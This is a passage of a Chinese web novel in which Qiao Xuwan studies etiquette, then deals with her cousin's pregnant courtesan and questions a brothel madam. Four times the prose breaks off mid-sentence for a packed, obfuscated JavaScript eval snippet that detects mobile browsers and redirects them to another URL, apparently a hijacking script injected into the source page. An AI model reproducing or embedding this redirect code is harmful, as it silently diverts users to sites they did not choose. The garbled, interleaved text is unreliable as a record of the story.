乔絮晚支支吾吾地说,原是翰林院的先生教的,后来没人请先生过来,换成她兄长来教了。 钱嬷嬷道:“难怪。” 正当她心里惴惴不安之际,又听钱嬷嬷接着道:“这种行书可不是闺阁小姐该学的字体,太大,也太随意,最得体的应是簪花小楷,——夏荷,把字帖拿来。” 夏荷应了一声,转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624312|142727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身拿来一本厚厚的字帖,放到她的桌案上。 钱嬷嬷道:“今日我先教你如何写簪花小楷,晚上你回去抄一遍《茶录》,明天带来给我看。” 乔絮晚强撑着笑道:“是……” 自己讨来的苦,也只能自己含泪吃了。 待周身的酸意稍稍减退之后,她舒展着肩背站起来,走到桌后坐好,认命地开始抄书。 夜深人静,她不睡,拂月鸢尾她们自然也没法睡,于是不甘寂寞地聊了起来: “宝珠这些天是越发猖狂了,从小姐这偷的东西她说戴就戴,压根没把我们放在眼里,也不知是哪来的底气。” “欺仗咱们姑娘好性儿呗,况且她偷的首饰,都是大公子私下送给姑娘的,她肯定是掐准了我们不敢说出去才故意这样!” “说到底还是老太太在前头镇着,让我们无处伸冤,也不知老太太对小姐哪来的敌意,竟就厌恶到这种地步,甚至还不让大公子对小姐好!想当初大娘子对可是把小姐当亲女儿看待的……这老太太难不成是怕多小姐一双筷子就能吃穷他们谢家?” “嘘!别乱说!仔细教人听了去。” 鸢尾急忙捂住拂月的嘴。 拂月撅着唇:“有什么好怕的!现在整个谢府就没几个人不知道她是如何对小姐的,你就看后院那帮发放份例的婆子嘴脸,一群墙头草,每逢咱们过去,她们那鼻子都快要翘上天了!真恶心!” 鸢尾叹道:“她们向来是最精明势利的,眼瞅着姑娘不受待见,又很快便要走了,就一个赛一个地托大拿乔……唉。” 听着她们闲聊,乔絮晚也不免微微出神。 老太太告诉钱嬷嬷她马上要议亲,让钱嬷嬷多提点提点她,真的是提点成婚后该如何管家吗…… 李音应当不会这么照顾她才是。 那究竟是想提点她什么? 想不明白。 她晃晃脑袋,继续专心写字。 那厢鸢尾和拂月不知又聊了些什么,许是受深夜影响,易感情激动,鸢尾携了她的手隐隐啜泣道:“拂月,你我也是多年交情,情同姐妹,如今一想到你和姑娘马上便要离开,以后也未必能再相见,我这心里是当真不舍!” 拂月也含了泪:“我也是啊,自大娘子走后,一直托你和玉檀姐姐她们照拂,我和小姐才能安稳度日,也因着我们,害你们得罪了这后宅的许多人,等我们离开了,不知道老太太会把你们分到哪里去,将来又会过得如何……” 鸢尾似是也料想到前路可能会有的坎坷,一时间哭得难以自抑。 听着外面饱含心酸隐忍的哭声,乔絮晚写完这一页的最后一个字,抬头唤道:“鸢尾。” 鸢尾听闻,立马拭去眼泪跑到她身边:“抱歉姑娘,是不是我打扰到您了?” 乔絮晚笑着摇摇头,握住她双手,道:“不必担心,临走之前,我都会替你们处理好的。” “……?” 鸢尾不解。 乔絮晚略垂了眼皮,嘴角依旧笑着,低声道:“你们以后可能会遇到的麻烦,我都会帮你们处理掉。” 23. 点茶 连着受了钱嬷嬷几日教导,乔絮晚自认总算有了些大家闺秀的样子,起码坐立行卧都是相当地温雅娴静,得当妥帖。 只有这个字,被放养多年的她一时半会委实改不过来,于是每天晚上除了要完成钱嬷嬷布置的课业外,她还固定要抄十页书。 乔絮晚为此没少跟谢骅涧嘀咕过,抱怨都是他字写得烂,害得她如今跟着遭罪。 探花郎谢骅涧无从反驳。 学习礼仪的第八日,钱嬷嬷开始教她点茶。 “点茶是个精细活,要认真,更要耐心,从最初的捣茶开始就不能急躁,要等捣得足够碎了,不再有成块,方可进行下一步。” 桌案一角摆着紫檀茶炉和细颈白瓷汤瓶,里面刚烧好不久的热水往外冒着袅袅白烟,令人格外心平气和,乔絮晚一边听着钱嬷嬷的教导,一边倒水温盏、温筅,然后拿小木勺舀了一钱匕磨好的茶末,再次注水进去,开始调膏。 这般慢工细活极磨性子,初始乔絮晚还能凭借新鲜劲儿一次又一次击拂注水,到了后面,已是双目涣散,手腕战战,连汤瓶都不太能拿动。 大脑甚至自发回忆起那日在画舫上受辱时的情形。 如此看来,那令翩然的点茶本事也不怎么样嘛。 咬盏也没咬起来,泡沫散得也快,茶百戏更是一塌糊涂。 她神游天外地想着,眼皮半耷不耷,几乎要把昏昏欲睡四个字写在脸上。 看出她的疲惫,钱嬷嬷便也宽容道:“这东西急不来,你今日第一次学,要是累了,就暂且歇一歇吧。” 乔絮晚闻言猛一醒神,略显局促地道了声“是”。 她起身抻了抻胳膊腿儿,随后走出墨斋,准备到外面散散步,吹吹风,清醒一下。 杜鹃和拂月跟在她身后一并走了出去,看她哈欠连天,杜鹃提议道:“姑娘要不要去湖边转转?那边景色好,也更凉爽些。” 乔絮晚慢了半拍才反应过来,点头道:“行。——我记得那湖的对面就是阿泽的住处,正好他现在在书院读书,院子里基本没什么人,也能清净点。” 谢骅泽,谢家二公子。 由已逝的二房秋姨娘所出,年纪只比乔絮晚小一岁,同席霖之一样要参加今年春闱,因在家里住不惯,前年就干脆去了谢骅涧当初于南华书院附近买的宅子住,一个人乐得清闲自在,也省得上下学耽误时间。 三人一同前往湖边,路上,拂月随口道:“二哥儿也许久没回来了呢。” 杜鹃道:“他回来图啥呀?看主君也闹心,看方小娘更闹心,老太太也没多待见他,大公子整日在外办公,他又不好总跟姑娘待在一起,这么大个宅子他哪哪都待得不顺心,还不如去书院跟同窗一块玩。” “唉,也是。想想二哥儿也不容易,小小年纪没了娘,又不受主君疼爱,被领到老太太院子里住吧,没几天老太太就嫌他闹腾,又给赶了出来。最后在大公子那住了几年,这才借着读书的由头出去了。” “就这境遇,也难怪养成了那么个浪荡性子,时不时就在外头胡天胡地闯出点祸来。” 眼见两人越聊越没边儿,乔絮晚适时制止道:“好啦,都陈芝麻烂谷子的事了,何必再提?再说阿泽现在也是知道用功了,才会主动去书院那边住,等今年科考金榜题名,说不定他还能去官署里跟阿兄做个伴,到时候也不孤……” “阿姐……” 一声幽幽的呼唤忽而从前方飘来,吓得乔絮晚登时一个激灵! 她瞪圆了眼睛望向声源处,猝不及防见到了身穿小厮衣服、偷摸躲在大树后的谢骅泽。 少年身杆清瘦,与谢骅涧的相貌有六七分相似,只是相较于谢骅涧矜傲英挺的五官,他的面容要更加柔美,加之年岁尚轻,看上去略有一丝雌雄莫辨的美感。 “阿泽?!”乔絮晚万分惊诧地喊道,随即提起裙摆跑过去,焦急地问:“你怎么在这里?这、这身衣服又是怎么回事?!” 比她高出半个头的谢骅泽看着她脸上关切的神情,突然一吸鼻子,“咚”的跪了下去,哭喊道:“阿姐,我要死了,你救救我吧!” “?!!” 乔絮晚不知所措地站在原地,呆了片刻后才急忙扶他起来,“胡说什么呢!青天白日就活了死的,到底发生何事了?” 谢骅泽正想说,却又被她一把捂住嘴。 乔絮晚警惕地环顾四周,低声道:“等下,咱们先进屋,关上门再说。杜鹃,你回去跟钱姑姑说……说我身体不适,可能要晚些时候回去。” 杜鹃应下后立即返身往回跑。 谢骅泽则被乔絮晚拽回了自己的倚山居。 * “噗——!!” 听完全程,乔絮晚猛然喷出一口茶水! 推开拂月拿帕子替她擦拭的手,她霍地站起身,不可思议地对跪在身前的谢骅泽喊道:“你把一个歌妓弄出身孕了?!!” 谢骅泽欲哭无泪:“姐你小、小声点啊!这真不是我的错!我明明每次都叫人给她送去避子汤了的,谁知她从哪搞出的孩子!” 乔絮晚险些两眼一黑晕过去。 她歪靠在椅子扶手上反复深呼吸,胸口剧烈起伏,缓了半晌才咬牙切齿道:“……从哪搞出的孩子?你不碰她难道她能自个儿就怀上吗?!况且,你光叫人把汤药送去,有没有看着她喝?” “……好像……忘了……”谢骅泽尴尬地扯了扯嘴角,随后又赶忙辩解:“我以为她会喝的!她最初几次都是主动当着我的面喝下去的,我以为她是真心爱我,并非贪图名利之辈,孰料她怀了孩子之后竟全然变了副嘴脸!张口闭口问我要名分,不然就来谢家闹!我也是……实在没办法了……才……” 他怂怂地垂下头。 乔絮晚恨铁不成钢地指着他,指尖颤抖:“你个……你个拎不清的孽障!!你让我说你什么好?你才多大年纪就花天酒地沉迷女色?难道忘了自己马上就要科考了吗??你想没想过,要是这个妓子怀着身孕到处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644132|142727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闹,你即便中了榜,一旦被人检举上去也会因品行不端而被除名!你不要前程了啊?!” “再则,要是任她把孩子生下来,你未及成婚的年纪就先有了孩子,将来传出去又有哪个正经人家愿意把好女儿许给你!你有没有想过这些?!” 她一手捶着红木扶手,愤怒得几乎感知不到疼痛。 谢骅泽缩着肩膀,默默垂首听训,一个字也不敢多说。 乔絮晚喘了口气,语气缓和道:“倘若对方是个良家女子也就罢了,你态度放好点,跟你爹你哥说你们是真心相爱,那兴许还有点门路,可她一个、一个歌妓……你——哎呀!” 她猛一甩手,支着额头不说话了。 谢骅泽见状,当即膝行两步抓住她的胳膊,心急火燎道:“阿姐!阿姐我知道错了我真的知道错了!我蠢我笨我不识好赖不辨是非!求你帮帮我吧!若是连你都不帮我,那……那我真的只有死路一条了啊!爹和大哥会轮流打死我的!!” 他毫不顾少爷形象地大哭起来。 听着他的哭声,乔絮晚愈加烦躁,挥开他的手恶声恶气道:“帮不了,等死吧!” 谢骅泽顿时哭得更大声。 他一把抱住乔絮晚的腿,如同狗皮膏药一般死死粘住,可怜兮兮道: “阿姐……求你救救我……你知道的,我自小就没了娘,老太太和爹也不喜爱我,若不是大哥和你还真心对我好,帮扶着我,我估计也要死在那方婆娘手底下,成为一具枯骨了!其实我一直想着,等以后出息了好生报答你们,可如今……竟又被狡诈的恶婆娘算计去了真情,还要毁我前程!我……我少不更事,哪里斗得过她哟!” 他阿姐祖宗姑奶奶的乱喊一气,一件件地说起过往交情,又不断往自己脸上扇巴掌,听得乔絮晚心中略微不忍。 在这个府上,除了谢骅涧和拂月她们,就属这表弟跟她最亲。 当年慕芷兰去世后不到一年,秋姨娘也“失足”落了井,连带肚子里的胎儿一尸两命,只留下十岁的谢骅泽在世上,却又因太闹腾不服管教而处处遭人嫌弃。 乔絮晚并不讨厌这个淘气的表弟,又对他的经历生出些同病相怜的感情,于是拜托谢骅涧,让谢骅泽在他那里暂住几年,等长大了再搬出去,免得也不明不白地被人害死。 谢骅涧实则不是很在意这个同父异母的弟弟,也不太愿意跟人同住,不过看在乔絮晚的面上,终究还是点了头。 就这样,谢骅涧的院子里得了什么,也会分他一些,乔絮晚平日绣了荷包做了糕点,也会给他一份,三人时不时聚在一起说说笑笑,倒也称得上亲近。 她这个表弟没什么坏心思,就是太过浪荡不羁,不干正事,脑子也不甚聪明。 和她差不多,都是因为缺乏正确的管束和教导。 不过这次闹出的事显然无法和以前一样轻轻放下。 乔絮晚长叹一声,凝眉深思良久,道:“跟我说说吧,你跟那歌妓究竟怎么回事?” 24. 湘竹 “……我在书院读书读得好好的,顶多偶尔逃个课斗个蛐蛐,当然花楼也逛过……几次吧,结果有一天我放课回家,就见一个女子被一群大汉拿着棍子追赶,正好摔在了我的宅子门口,我于心不忍,就带着小厮出手救下了那女子。” “那女子名叫湘竹,是红袖招的一个歌妓,早年因家道中落被卖到那里,她不堪受辱,一直在攒钱准备为自己赎身。可红袖招的妈妈见她貌美又招客人喜欢,就派人偷了她的赎身钱,还扣着她的身契不让她走。她万般无奈之下,趁夜跑了出来,一路被打手追到这里。” 倚山居主房内,乔絮晚坐在圈椅上,一边听谢骅泽娓娓道来事情经过一边喝茶降火。 见他讲得差不多了,乔絮晚开口道:“南华书院在郊外了,就算骑马也得半个多时辰才能到,她一介弱质女流,是怎么被人从京城的红袖招一路追到那还没追上,最后还偏偏让你给遇上的,你难道就没怀疑过?” 谢骅泽羞臊不已:“……没……” 乔絮晚恨铁不成钢地抿了抿唇,又问:“那你去红袖招确认过她身份吗?” 谢骅泽道:“去过,还……还替她赎了身……”他越说越小声。 乔絮晚冷笑一声:“咱们二哥儿还真是孺子可教,这才去书院读了多久的圣贤书,就读出一副菩萨心肠了。” 谢骅泽红着脸不敢说话。 乔絮晚“砰”的将茶盏放回桌面,拧眉道:“你替她赎身之后就一直把她养在宅子里?” “是。” “可有人知道这事?” “我的几个朋友知道,不过他们也同我一样在屋里养了人,无需顾虑。”谢骅泽颇为自信。 乔絮晚忿忿地一指他:“你个蠢货!他们同你一样在屋里养了人,也同你一样要科考!到时候你中了他们没中,你看需不需要顾虑?!” 谢骅泽一噎,顿时慌张起来:“那、那怎么办?” 乔絮晚从鼻腔里舒出一口气,问:“他们知道你的这个……湘竹,怀了身孕吗?” 谢骅泽忙不迭摇头:“湘竹是近两天才开始害喜的,我请了郎中来给她检查才发现她有孕在身。我跟她掰扯了一天,又命人死守着家门口不让她出去,这才敢回来找阿姐。” 乔絮晚瞪着他:“不要脸的东西,自己在外养妓子弄出这等事,还找你未出阁的姐姐帮你解决,干脆让你哥打死你算了!” 谢骅泽一脸苦瓜相。 立在身后乔絮晚的拂月担忧道:“小姐,二哥儿这事着实不好办,咱们要不还是找大公子……” “不行!!不可以!!”谢骅泽膝行几步爬过去,目眦欲裂,“好姐姐你要杀了我吗?!要是让我哥知道这事,我就是不死也得断条腿啊!!” 拂月吓了一大跳,“二哥儿你冷静些!有小姐在前替您说情,大公子应该顶多就是骂个两三句,不会太过分的!” 谢骅泽生不如死:“诶呀!他就算当着你们姑娘家的面不做什么,背后也肯定是要对我下死手的!好姐姐,看在我们这么多年交情的份上,你给我条活路吧!” 拂月无措地看着乔絮晚。 乔絮晚长叹一声,无奈道:“阿泽,你先起来吧,堂堂一个世家公子,跪在地上爬来爬去像什么样子?” 谢骅泽梗着脖子道:“阿姐不帮我,我今儿个就跪死在这里!” “跪一天死不了人,别说这些不吉利的。” 乔絮晚伸手去拽他的袖子,还没用力他就顺从地站了起来。 谢骅泽吸吸鼻子,试探着问:“阿姐,那你有主意没有?” “我连那湘竹的面都没见过,哪来的主意?”乔絮晚也是头一回遇上这种事,不免头疼,“我现在白日要上钱姑姑的课,抽不出时间……这样吧,明晚酉正你套车到偏门等我,我去跟她碰一碰。” “好好好!谢谢阿姐!谢谢阿姐!”谢骅泽高兴得不得了,对着她连连鞠躬作揖。 乔絮晚摆手道:“行了,你且回书院读书去吧,顺便看紧那个湘竹,免得她跑出去生事。” “是!” 谢骅泽一溜烟儿跑了出去。 乔絮晚又是一叹,搀着拂月的胳膊站了起来,一边往墨斋走,一边在心里思索办法。 * 翌日晚,酉正时分。 乔絮晚换了身简便的衣裳,举止自然地走向偏门,上了谢骅泽的马车。 谢骅泽看她的目光就如同看到救星,几乎热泪盈眶。 乔絮晚提前声明道:“提醒你一句,这事我不一定能解决了,要是我也处理不了这个湘竹,那你就算再不愿意也得找你哥去。” 谢骅泽咬了咬牙,卑微道:“阿姐……要是真到了那个地步,你可以……代我跟大哥哥说吗?” 乔絮晚瞪圆了眼:“你——” “阿姐!阿姐啊——!”谢骅泽毫不犹豫地跪下抱住她的腿,轻车熟路地哭诉:“要是我就这么跟哥说了,他真的会当场打死我的!” “换我去说难道就好使吗?!”乔絮晚气得额角突突。 “有阿姐在前,起码大哥哥不会当面打死我,我还能有点时间逃跑!”谢骅泽眼神清澈,无比真诚。 乔絮晚:“……这件事解决后,你我的姐弟情就算是尽了!” 两人一路商量对策,马车嘎吱嘎吱地响着,不知不觉到了谢骅泽在书院附近住的宅子。 谢骅泽率先下了马车,随后扶着乔絮晚也下来。 “二郎——” 两人刚跨进大门,就听一道婉转妖娆的女声蓦然响起。 身旁的谢骅泽脚步顿了顿,似是不大想继续往前走了。 乔絮晚抬眸看去,只见一个身段妩媚、容貌秀丽的粉衣女子。 这就是湘竹? 她不动声色,看着那女子款款走近。 湘竹先是对着谢骅泽福了福身,随后瞥了她一眼,疑惑地问谢骅泽:“二郎,这位是……?” 谢骅泽冷着脸道:“这是我姐姐,听说你怀了身孕,非要进我家门,就替我父兄族老先过来看看你。” 湘竹连忙对乔絮晚行了一礼,柔柔道:“姐姐好。” “嗯。” 故意摆出高傲的姿态,乔絮晚敷衍应和一声,不再多看她,径直走向屋内。 湘竹眼眸动了动,笑意不变,待谢骅泽走过去之后才提步跟上。 进了屋子,乔絮晚坐下,湘竹自觉为她斟了杯茶,跪在地上双手奉上:“姐姐请用。” 她晾了湘竹片刻才接过茶盏,捧在手里,对谢骅泽道:“我记得你当初离家来这边住,向妈妈也是跟你一起来了的,她今日怎么不在?” 向嬷嬷即是谢骅泽的奶妈,自他出生起就一直在身旁照料。 谢骅泽道:“妈妈出去买菜了,一会就回来。” 乔絮晚点点头,喟叹道:“当初你说要单独出来住的时候,我本是不放心的,毕竟你先前在国公府,锦衣玉食,众星拱月,压根不知人心险恶,这一朝出了门独自在外,保不齐哪天就中了旁人的算计,吃个闷亏。后来你跟我说向妈妈也会一同过来,我这才松了口气。” “向妈妈为人谨慎小心,又一贯待你好,有她在你身边守着,想来也不会出什么大问题。” 说罢,她又话锋一转,语气变得刻薄起来:“可谁料这世道啊,终是艰险难测,想攀附门楣的人总有各种法子和手段,让人不齿。” 谢骅泽惭愧地低下头,不敢言语。 湘竹觑了她一眼,同样默不作声。 沉默良久,乔絮晚放下茶盏,对湘竹道:“地上凉,你也先起来吧,别伤了肚子里的孩子。” 湘竹温顺道:“是。”随后起身站到谢骅泽身侧。 “阿泽跟我说,你叫湘竹?” “是的。” “今年几岁?老家在哪?” “年十八,老家在淮阳。” “家中亲眷几何?” “父母皆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13656481|142727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已亡故,独有一个弟弟,在码头帮人搬运东西,干些力气活。” “弟弟多大?” “比奴婢小两岁,今年刚满十六。” 乔絮晚淡淡“嗯”了一声,瞥了眼她尚且平坦的小腹,道:“阿泽既已帮你赎了身,那你如今便也是良民了,有想过以后出路吗?” 湘竹神情一紧,立马红了眼圈扑到她跟前:“奴婢对二公子一见倾心,将来也愿一直伺候在身侧,哪怕无名无分也好,求姐姐不要赶奴婢走!” 乔絮晚被她扑得身形一晃,暗暗“啧”了声,蹙着眉扶她起来:“哎呀,湘竹姑娘你这是做什么?我又没说要赶你走,快起来快起来!” 湘竹登时流下两行清泪:“奴婢自知身份卑贱,配不上二公子,也从来不奢求什么,可……可孩子是无辜的啊!奴婢实在不想让他还未出世就再也见不到父亲!姐姐若是打心底里接受不了奴婢,那……那等孩子落了地之后,奴婢便会自行离去!” 乔絮晚冷言道:“我接不接受你,压根就不重要,我只是代国公府的人来见你一面而已。湘竹姑娘,我就直说了吧,以你的身份,你和你的孩子进不了国公府,就算你寻死觅活撒泼打滚都没可能。” 湘竹脸色一白。 乔絮晚接着道:“我今天一趟也不能白来,咱们就把话敞开了说吧,你想要什么?如果要钱,我们自然是多少都给得起的,保你和你弟弟你孩子下半辈子荣华富贵不成问题;倘若要别的,那姑娘可要好好掂量掂量,自己能不能配得上、担得起。” 湘竹默了许久,执拗道:“奴婢只想跟在二郎身边。” “……”乔絮晚盯着她,直言不讳:“我知道你打的什么主意,无非是盼着自己将来生个儿子,留在国公府里承袭荫封加官进爵,那样,你面子里子都有了。” 湘竹表情不变,丝毫没有被看破的心虚。 “我得告诉你,你有些异想天开了。” “就算阿泽顾着你,这辈子不再娶妻生子,公爵的位置也轮不到你孩子头上。” 乔絮晚目光冰冷。 湘竹毫不畏惧地与她对视:“我知道,谢国公府有个极出色的大公子,有这位爷在,爵位会传给谁根本不用想。但是,我总得一试。” 不试试,怎么知道没希望? 只要她进了国公府的门,总能有办法。 乔絮晚看着她自信的神情,良久不语。 半晌,一甩袖子,阴沉着脸疾步走了出去。 谢骅泽立即跟上,慌张地喊道:“阿姐!阿姐你去哪?” “回家!”乔絮晚头也不回。 谢骅泽将她拦在马车前,焦急道:“阿姐你是、是有办法了吗?” “有个屁!”乔絮晚终于忍不住爆了脏话,她两手抓住谢骅泽的胳膊又掐又打,怒不可遏:“你看你找的这个……!你这混账东西!蠢出世的王八羔子!当初怎么就没憋死在你娘肚子里,愣是把你生下来祸害人!” 谢骅泽疼得呲牙咧嘴却又不敢躲,站着任由她打骂。 乔絮晚发泄了一会,气喘吁吁地停了手。 谢骅泽试探着问:“姐,要不我让人摁住她,给她灌碗汤药?” 乔絮晚瞪大了眼睛,低声喝道:“住嘴!” 谢骅泽一缩。 “你一碗药下去,第二天她就能拖着一身血去公堂告你的状!你干脆别活了!” “那我给她关起来,不让她出门……” “你能关她一辈子?一个不留神她跑出去,你罪加一等!” “……” 谢骅泽没招了,可怜兮兮地看着她。 乔絮晚接连骂了他许久,这会也没力气再继续指责了,她沉吟少顷,上了马车,道:“你看好她,明天……后天晚上我再过来找你。” 谢骅泽傻愣愣问道:“姐你要干啥去啊?” “问那么多干嘛!读你的书去!” 乔絮晚唰地放下帘子,让车夫驾车。 25. 盘问 翌日晌午,下了钱嬷嬷的礼仪课后,乔絮晚命人在偏门备好马车,领上拂月悄悄出了门。 “去红袖招。”乔絮晚坐进马车,对车夫说道。 拂月大惊,放下帘子后急忙道:“小姐您怎么能去、去那种地方?!有什么事让奴婢或者玉檀姐姐她们去办也行啊!” 乔絮晚安抚性地拍拍她的肩,“红袖招可是京城最大的青楼,那里的妈妈估计精明得很,单派你们过去,怕是会应付不来。” 拂月听了原因,虽没再多说什么,但表情仍是忧心忡忡的。 因着中午休息时间不多,乔絮晚将就在马车上吃了些糕饼点心果腹,一路快马加鞭下来,吃进肚子里的东西差点全呕出来。 到达红袖招门口,她戴上帷帽,脚步虚浮脸色苍白地下了马车。 透过纯白纱帘,隐约可以瞧见朱红楼阁前悬挂着两排大红灯笼,金丝流苏随风摇曳,门头还有一张以丝绸缝绣的匾额。 二楼露台上几个衣着清凉的花姑娘歪倚阑干,嬉笑着对来往路人挥舞香帕。 拂月同样戴着帷帽,见状低声对她说:“小姐,要不……咱们还是回去吧……” 乔絮晚声线虚弱:“来都来了,总不能白遭罪。” 说罢,她提步就往里面走。 两个一看就气度不凡的姑娘家蓦然出现在一楼,霎时吸引了迎客妈妈的目光。 越妈妈扭着细腰妖妖娆娆走过来,曼声问道:“二位姑娘有何贵干呀?” 乔絮晚回眸瞥了拂月一眼,拂月即刻意会,上前一步道:“我们有事要找这里的主管妈妈,不知妈妈可否通融一下?” 她又凑近些许,塞给越妈妈一包银钱。 越妈妈在手心里将荷包略一掂量,顿时扬起热切的笑:“当然可以!姑娘里边请,我这就去叫俞妈妈过来!” 她挥手喊来两个丫头,让她们带着乔絮晚和拂月去了二楼雅间。 身影挪动间,二楼飘忽的帘帐后投下一道视线,也随之移动。 红袖招财大气粗,装潢奢靡,小丫头引着她们两个在一扇木门前停下,推开门,乔絮晚乍一进去,恍惚以为自己是进了哪个大户人家的厢房。 待她和拂月在里面坐好,小丫头倒上茶水,然后懂事地关上门退下。 那位俞姑姑不知何时会来,拂月便也不敢随便摘下帷帽,只隔着纱帘低声问道:“小姐,您是要打听湘竹的来路吗?” 乔絮晚喝了口茶,压下腹中不适感,回道:“对,那湘竹自身是个厉害角色,但也不可能完全没有把柄。既然她年纪轻轻就被卖到这里,想必主事的姑姑对她的底细一清二楚。她都交往过什么人,做过什么事,家人好友如何,都得盘查出来。” 拂月点点头,屏息静等接下来的境况。 不多时,一个满头珠翠、风韵犹存的艳丽妇人走了进来,停在二人桌前。 那双看遍世态炎凉人情冷暖的锐利双眼扫过两人帷帽与衣物,乃至身形坐姿,仅一瞬,就弯了起来,笑盈盈道:“二位姑娘好,找老婆子我有何事啊?” 乔絮晚浅笑道:“妈妈先坐,我们慢慢聊。” 俞妈妈依言坐了。 乔絮晚双手交叠于膝上,缓缓开口:“其实今日来此叨扰妈妈,也并非是因什么大事,就是想问一问,妈妈是否还记得一个名叫湘竹的姑娘?” “湘竹?”俞妈妈眸光微动,道:“哦,我记得,那姑娘十三岁被卖到了我们这里,前不久又被谢国公家的二爷赎了身,现已离开这里,成了良民。姑娘若是要找她的话,可能来错地方了。” 她歉意地笑笑。 隔着帷帽垂落下的纱帘,乔絮晚看不真切她的神色。 但她直觉这妈妈不会爽快地透露她想知道的事。 谢骅泽肯定也是来过红袖招的,约莫还是这里眼熟的常客,那湘竹自然也会认识他; 所以,湘竹当初究竟是自己赎身之后才设计跑到谢骅泽门前,还是买通了俞妈妈,用事成后的好处让她协助自己…… 乔絮晚静了少顷,好声好气道:“不,我此番不是找她,正是找俞妈妈您。” “找我?” “是的。”乔絮晚自若道:“实不相瞒,从你们这里出来的那位湘竹姑娘出了点意外,谢二公子自觉没脸,便求助于我,我也只得来问问她的具体情况,譬如,她过往经历,家人现今又如何。” “意外……?”俞妈妈略微凝眉,随即问道:“敢问姑娘,湘竹她是出了何事啊?” 乔絮晚嗓音微冷:“这就无需妈妈忧心了,人既已被谢二公子买走,那生老病死自然也与这里不再相干,妈妈只管回答我的话即可。” 俞妈妈一默,沉吟半晌,回道:“姑娘,虽说湘竹已不是我们这里的人,但作为她曾经的东家,老婆子我认为就这么将她的私事随意讲与外人听,委实有损德行,还望姑娘勿要责怪。” “……” 看来两人大概率是一伙的了。 这般说来,这个俞妈妈手上估计会有湘竹的把柄。 乔絮晚呷了口茶,再次示意拂月,拂月从怀里掏出两个更大的荷包推到俞妈妈面前。 俞妈妈直直盯着那两个荷包,眼中满是贪婪。 “小小心意,不成敬意。”乔絮晚微微一笑,“我今日也是第一次来红袖招,这一点见面礼想必有些寒酸了,还请妈妈莫要嫌弃。” 俞妈妈清了清嗓,伸手将荷包揽入囊中,热情洋溢道:“姑娘也太客气了,我们这里啊,装点得再堂皇,内里也不过是个腌臜之所,能得姑娘光顾已是蓬荜生辉,哪有嫌弃的道理?” 乔絮晚看着她收下荷包,道:“红袖招能有如今的规模,东家应当少不得与朝堂中人来往吧?” 俞妈妈动作一滞。 “谢二公子再不成器,也是谢国公的亲儿子,若是他因红袖招的姑娘闹出丑闻来……俞妈妈,您觉得谢国公会如何呢?”乔絮晚冷冷地看着她。 “……” 俞妈妈咽了咽口水。 两厢静默一阵,俞妈妈松了神色,笑道:“姑娘想问什么,尽管问就是了,老婆子我绝对知无不言,言无不尽。” 乔絮晚便问道:“湘竹姑娘过去是清倌,还是……?” 拂月在一旁听得臊红了脸。 俞妈妈大方道:“她在我们这里待到十八岁,相貌又美,家里又没钱,自然是红倌儿。” “她不是有个在外干活的弟弟吗?” 俞妈妈略有不屑:“她那个弟弟能顶什么用?赚两个钱全拿去吃喝嫖赌了,半点没给她留。” 乔絮晚皱了皱眉:“湘竹姑娘和她弟弟感情不好?” 俞妈妈停顿半秒,回道:“差不多,反正我没见两人有过交集。” “……” 这老货有所隐瞒。 乔絮晚在心中记下这人,掠过这个话题,又问:“既然湘竹姑娘以前……咳,那,她有……招待过达官贵人吗?” 问完,她也不禁有些脸红,心里又将谢骅泽骂了个狗血淋头。 俞妈妈闻言,面露难色,支吾着答道:“这……非是妈妈我有意隐瞒,只是贵人的身份我也确实不便透露,一定要说的话……裴小公爷是点过她唱曲儿的。” 裴公子花名在外,甭说他有没有真的点过湘竹,就是他没点过,平白被人冤枉了去,貌似也不会对他的名声造成什么实质性的损害。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666703|142727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >乔絮晚自然也没有怀疑。 她静了静,起身道:“明白了。今日麻烦俞妈妈了,我想问的暂时就这些,倘若日后还有其他问题,或许还要来打扰一次,望妈妈莫要见怪。” 俞妈妈对她行了一礼,“随时欢迎姑娘。” 乔絮晚携拂月下了楼。 奔向大门的那段路程,她总感觉背后像是有人盯着,回头看去,却又因帷帽遮盖,影影绰绰看不清楚。 